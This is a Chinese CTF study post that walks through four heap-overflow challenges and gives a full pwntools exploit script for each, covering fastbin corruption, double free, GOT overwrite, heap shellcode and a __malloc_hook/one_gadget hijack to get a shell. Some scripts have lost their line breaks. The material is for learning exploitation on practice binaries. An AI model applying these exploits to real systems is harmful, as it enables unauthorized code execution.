pwn学习总结(五) —— 堆溢出经典题型整理

  • fastbin + 栈溢出
  • fastbin + 函数构造
  • fastbin + 堆执行
  • fastbin + malloc_hook

fastbin + 栈溢出

题目:fastbin
环境:ubuntu 16.04
下载地址:https://pan.baidu.com/s/1R6-BVR91Io_ZVPDDpBcCkA 提取码:r7e5

查看程序防护

使用ida进行反编译





已知条件

  1. 可以对main函数中局部变量buf进行写入,并且能得到buf的地址,但read函数不存在栈溢出
  2. 用户申请的chunk地址保存在全局数组中,下标等于申请时输入的id号
  3. read_content函数存在栈溢出,可以覆盖到下一个chunk数据区的前4个字节
  4. 存在callsystem函数,若能将eip指向它即可getshell

利用思路

  1. buf的前8个字节构造为chunkhead部分
  2. 申请两个chunkid分别为0和1
  3. 释放chunk1,由于是第一次释放,此时chunk1fd为0
  4. chunk0写入数据,通过溢出将chunk1的fd修改为buf的地址
  5. 再次申请chunk1,堆管理器中的下一个chunk指针将指向chunk1->fd
  6. 申请chunk2chunk2将会分配到main函数局部变量buf+8的位置
  7. chunk2写入数据,也就是向buf写入数据,并覆盖main函数返回地址为callsystem函数的地址
  8. main函数退出时,将执行callsystem函数

exp

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'elf = ELF('./fastbin')
sh  = process('./fastbin')callsystem = 0x804852ddef add(num):sh.recvuntil('Your choice:\n')sh.send("1")sh.recvuntil('id:\n')sh.send(str(num))def delete(num):sh.recvuntil('Your choice:\n')sh.send("2");sh.recvuntil('id:\n')sh.send(str(num))def read(num, content):sh.recvuntil('Your choice:\n')sh.send("3")sh.recvuntil('id:\n')sh.send(str(num))sh.recvuntil('content:\n')sh.send(content)sh.recvuntil('Your Name:\n')
sh.send(p32(0) + p32(0x29))sh.recvuntil('Your home is:')
buff_addr = int(sh.recvline()[:-1], 16)
#print(hex(buff_addr))add(0)
add(1)
delete(1)
payload = 'a'*32 + p32(0) + p32(0x29) + p32(buff_addr)
read(0, payload)
add(1)
add(2)
payload = 'a'*0x12 + p32(callsystem)
read(2, payload)#end while
sh.recvuntil('Your choice:\n')
sh.send("4")sh.interactive()

getshell

fastbin + 函数构造

题目:fastbin2
环境:ubuntu 16.04
下载地址:https://pan.baidu.com/s/1EdyxY51lrkOcbByIiIH-8A 提取码:cs3z

查看程序防护

使用ida进行反编译





已知条件

  1. 用户申请的chunk地址保存在全局数组中,下标等于申请时输入的id号
  2. chunk释放后,不会初始化对应的数组成员
  3. 存在system函数,但不存在"/bin/sh"字符串
  4. read_content函数中存在溢出,可以覆盖到下一个chunk数据区的前8个字节
  5. do_something函数中存在函数指针,指向*buf[id-2],参数为*(buf[id]+8),并在一定条件下执行

利用思路

  1. 申请三个chunk,id分别为0、1、2
  2. 按顺序释放chunk1chunk2,此时chunk2fd指向chunk1head
  3. chunk0的数据区开始位置写入system函数的plt地址,通过溢出向chunk1的数据区开始位置写入"/bin/sh"字符串
  4. 让函数指针指向chunk0并执行,此时函数地址为system的地址,参数为chunk2的fd+8,也就是"/bin/sh"的地址

exp

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'elf = ELF('./fastbin2')
sh  = process('./fastbin2')def add(num):sh.recvuntil('Your choice:\n')sh.send("1")sh.recvuntil('id:\n')sh.send(str(num))def delete(num):sh.recvuntil('Your choice:\n')sh.send("2");sh.recvuntil('id:\n')sh.send(str(num))def read(num, content):sh.recvuntil('Your choice:\n')sh.send("3")sh.recvuntil('id:\n')sh.send(str(num))sh.recvuntil('content:\n')sh.send(content)def do(num):sh.recvuntil('Your choice:\n')sh.send("4")sh.recvuntil('id:\n')sh.send(str(num))system_addr = elf.plt['system']add(0)
add(1)
add(2)
delete(1)
delete(2)
payload = p32(system_addr).ljust(32, 'a') + p32(0) + p32(0x29) + '/bin/sh\x00'
read(0, payload)
#pwnlib.gdb.attach(proc.pidof(sh)[0])
do(2)sh.interactive()

getshell

fastbin + 堆执行

题目:note-service2
平台:攻防世界 PWN 高手进阶区
原平台:CISCN-2018-Quals

查看程序防护

使用ida进行反编译



已知条件

  1. 不存在堆溢出
  2. 申请堆块时存在数组下标溢出,可在任意地址申请堆块
  3. userdata最多申请8个字节,但是只能写入7个字节(见ReadContent函数)

利用思路

  1. 通过数组下标溢出,在对free函数进行got表复写,也可以对atoi等函数进行got表复写
  2. 申请一个堆块,写入字符串’/bin/sh’
  3. 申请多个chunk,分组将shellcode写入连续的堆块中,在最后两个字节构造跳转到下一个shellcode的指令
  4. 调用free函数,下标为之前写入字符串’/bin/sh’的堆块,相当于将’/bin/sh’作为参数进行系统调用

exp

#-*- coding: utf-8 -*-
from pwn import *
from ctypes import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
context.arch = 'amd64'elf = ELF('./note-service2')
#libc_so  = ELF('./') sh = process('./note-service2')
#sh = remote('', )def add(index, content):sh.sendlineafter('choice>> ', '1')sh.sendlineafter('index:', str(index))sh.sendlineafter('size:', '8')sh.sendlineafter('content:', content)def delete(index):sh.sendlineafter('choice>> ', '4')sh.sendline(str(index))add(0,'/bin/sh')
add((elf.got['free']-0x2020A0)/8,asm('xor rsi,rsi')+'\x90\x90\xe9\x16')
add(1,asm('push 0x3b\n pop rax')+'\x90\x90\xe9\x16')
add(2,asm('xor rdx,rdx')+'\x90\x90\xe9\x16')
add(3,asm('syscall')+'\x90'*5)
delete(0)sh.interactive()

getshell

fastbin + malloc_hook

题目:easy_heap
平台:NCTF2019
环境:ubuntu 16.04
下载地址:https://pan.baidu.com/s/1_I07Zs2IK1WRFfYJGm_yFQ 提取码:rtuh

查看程序防护

使用ida进行反编译





已知条件

  1. chunkdelete_node函数中被free后未初始化对应数组成员,存在double free漏洞
  2. 申请chunk时大小被限制,可将chun申请到buff处,溢出并覆盖chunk_size为任意值
  3. 可使用print_content函数泄露unsortbin地址,进而泄露libc_base

利用思路

  1. 构造buff16字节chunkhead部分
  2. 通过double free将chunk申请到buff+8
  3. buff进行写入,溢出并覆盖chunk_size为合适大小
  4. 泄露unsortbin,通过偏移0x3c4b78得到libc_base,再通过偏移0xf1147得到one_gadget的地址
  5. 获取__malloc_hook函数地址,写入one_gadget的地址;当malloc函数执行时,若__malloc_hook中有值,便会执行其中的函数

exp

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'amd64'libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')sh   = process('./easy_heap')def add(size, content):sh.recvuntil('4. exit\n')sh.send('1')sh.recvuntil('What\'s your heap_size?\n')sh.send(str(size))sh.recvuntil('What\'s your heap_content?\n')sh.send(content)def delete(index):sh.recvuntil('4. exit\n')sh.send('2')sh.recvuntil('What\'s your heap_index?\n')sh.send(str(index))def show(index):sh.recvuntil('4. exit\n')sh.send('3')sh.recvuntil('What\'s your heap_index?\n')sh.send(str(index))buff_addr = 0x602060sh.recvuntil('What\'s your name?\n')
sh.send(p64(0) + p64(49))  #构造chunk头部#将chunk申请到buff处,写入数据并溢出覆盖chunk_size
add(32, 'a')              #id:0
add(32, 'a')              #id:1
delete(0)
delete(1)
delete(0)
add(32, p64(buff_addr))     #id:2
add(32, 'a')              #id:3
add(32, 'a')              #id:4
add(32, 'a'*8 + p64(0x200))  #id:5#泄露unsortbin的地址
add(256, 'a')             #id:6
add(256, 'a')             #id:7
delete(6)
show(6)
sh.recvuntil('heap6: ')
ubin = u64(sh.recvline()[:-1].ljust(8, '\x00'))
#print(hex(ubin))#0x3c4b78:可通过gdb调试计算,不同版本的libc偏移可能不同
#ubin = arena + 0x88,即 libc_base = ubin - (arena-libc_base) - 0x88
libc_base = ubin - 0x3c4b78
malloc_hook = libc_base + libc.symbols['__malloc_hook']
#0xf1147:通过静态分析libc反汇编得到
one_gadget = libc_base + 0xf1147#1. 将chunk申请到malloc_hook-0x23位置,此时chunk的size为7f(可通过调试观察)
#2. 向malloc_hook中写入one_gadget的地址
#3. 当malloc执行时,会判断__malloc_hook中是否为空,若不为空,则执行其中的函数
add(96, 'a')              #id:8
add(96, 'a')              #id:9
delete(8)
delete(9)
delete(8)
add(96, p64(malloc_hook-0x23))      #id:10
add(96, 'a')                      #id:11
add(96, 'a')                      #id:12
add(96, 'a'*0x13 + p64(one_gadget))  #id:13#再次调用malloc函数,将会执行one_gadget
sh.recvuntil('4. exit')
sh.send('1')
sh.recvuntil('What\'s your heap_size?\n')
sh.send('16')sh.interactive()

getshell

pwn学习总结(五) —— 堆溢出经典题型整理相关推荐

  1. pwn学习总结(三) —— 栈溢出经典题型整理

    pwn学习总结(三) -- 栈溢出经典题型整理 ret2text ret2shellcode rop ret2libc 使用DynELF实现远程libc泄露 ret2syscall ret2libc ...

  2. 最值得收藏的 数据结构 全部知识点思维导图整理(王道考研), 附带经典题型整理

    本文的思维导图根据王道的数据结构书本整理而来并标记出重点内容,包括了知识点和部分课后习题 思维导图源文件已经发布在我的资源当中, 点击获取全部导图和配套OneNote笔记, 有需要的可以去 我的主页 ...

  3. 【pwn学习】堆溢出(三)- Unlink和UAF

    前置学习 [pwn学习]堆溢出(一) [pwn学习]堆溢出(二)- First Fit 文章目录 什么是Unlink? Unlink如何利用? 加入错误检查 什么是Use-After-free? 例题 ...

  4. 【pwn学习】堆溢出(一)

    文章目录 什么是堆溢出 基本示例 堆分配函数 堆填充长度 堆攻击总结 学习这部分之前,如果对堆的基础还不甚了解可以参考一下下面的学习笔记 Linux堆管理基础知识(一) Linux堆管理基础知识(二) ...

  5. linux 堆溢出 pwn 指南,新手科普 | CTF PWN堆溢出总结

    学习汇总 序言 自从加入RTIS交流群, 在7o8v师傅,gd大佬的帮助下,PWN学习之路进入加速度.下面是八周学习的总结,基本上是按照how2heap路线走的.由于八周内容全写,篇幅太长,这里只讲述 ...

  6. 堆溢出-House of orange 学习笔记(看雪论坛)

    https://www.jianshu.com/p/4b0a73f321f9 前几天把House of orange重新学习了一下,比照着glibc malloc的源码好好分析了一下,希望做到真正做到 ...

  7. 五种内存溢出案例总结:涵盖栈深度溢出、永久代内存溢出、本地方法栈溢出、JVM栈内存溢出和堆溢出

    大家好,我是冰河~~ 相信小伙伴们在平时工作的过程中,或多或少都会遇到一个场景:内存溢出.如果你没有遇到过这个场景,那就说明你是个假的程序员.哈哈,开个玩笑,平时工作过程中,我们确实会遇到这个问题.今 ...

  8. pwn学习总结(五) —— ret2dl_runtime_resolve(待补充)

    pwn学习总结(五) -- ret2_dl_runtime_resolve 一.程序示例 二.Section .dynamic .dynstr .dymsym .rel.plt 三.延迟绑定 _dl_ ...

  9. pwn学习总结(四)—— 堆基础知识(持续更新)

    pwn学习总结(四)-- 堆基础知识(持续更新) 前言 chunk 使用中(分配后) 空闲中(释放后) 堆块大小 空间复用 bins fastbin unsorted bin small bin 前言 ...

最新文章

  1. 【Qt】解决在linux上使用Qt的媒体模块(Qt += multimedia)缺少模块multimedia的问题
  2. Java基础——类和对象的使用
  3. Sql Server编程
  4. WPF与缓动(一) N次缓动
  5. C#开启线程的四种方式
  6. 【Java线程】Thread Runnable必知必会
  7. MapXtreme 2005新增内容
  8. 计算机考研 东华大学,东华大学(专业学位)计算机技术考研难吗
  9. JVM内存模型和结构
  10. 【杂谈】网络修复杂谈
  11. 计算机桌面文件能单独设密码吗,win7文件夹设置密码_给单独一个文件夹设密码...
  12. 厦门大学LaTeX模板:页眉页脚设置
  13. HHDB数据库备份恢复
  14. perl bless
  15. Sun Jan 05 2020 00:00:00 GMT 0800 (中国标准时间) 时间转换为 2020-01-05 08:00:00
  16. 网络存储技术:DAS存储、NAS存储和SAN存储
  17. 傻瓜攻略(九)——MATLAB实现简单的多元线性回归(以炼钢转炉炉龄问题为例)
  18. 用Python搭建一个股票舆情分析系统
  19. HC-SR04超声波测距模块
  20. C\S结构的插件式开发思想以及向B\S结构的架构延伸(二)

热门文章

  1. Interview:互联网IT界技能进阶必备—各个职位推荐几个高含金量的证书
  2. ML之DT:利用DT(DTC)实现对iris(鸢尾花)数据集进行分类并可视化DT结构
  3. Crawler:基于requests库+json库+40行代码实现爬取猫眼榜单TOP100榜电影名称主要信息
  4. MAT之PSO:利用PSO实现对一元函数y = sin(10*pi*x) ./ x进行求解优化,找到最优个体适应度
  5. 将js进行到底:node学习10
  6. ios学习——键盘的收起
  7. 我是如何从程序小白成为码农的
  8. vaddin使用技巧
  9. iOS UITableView
  10. Asp.Net Membership 回顾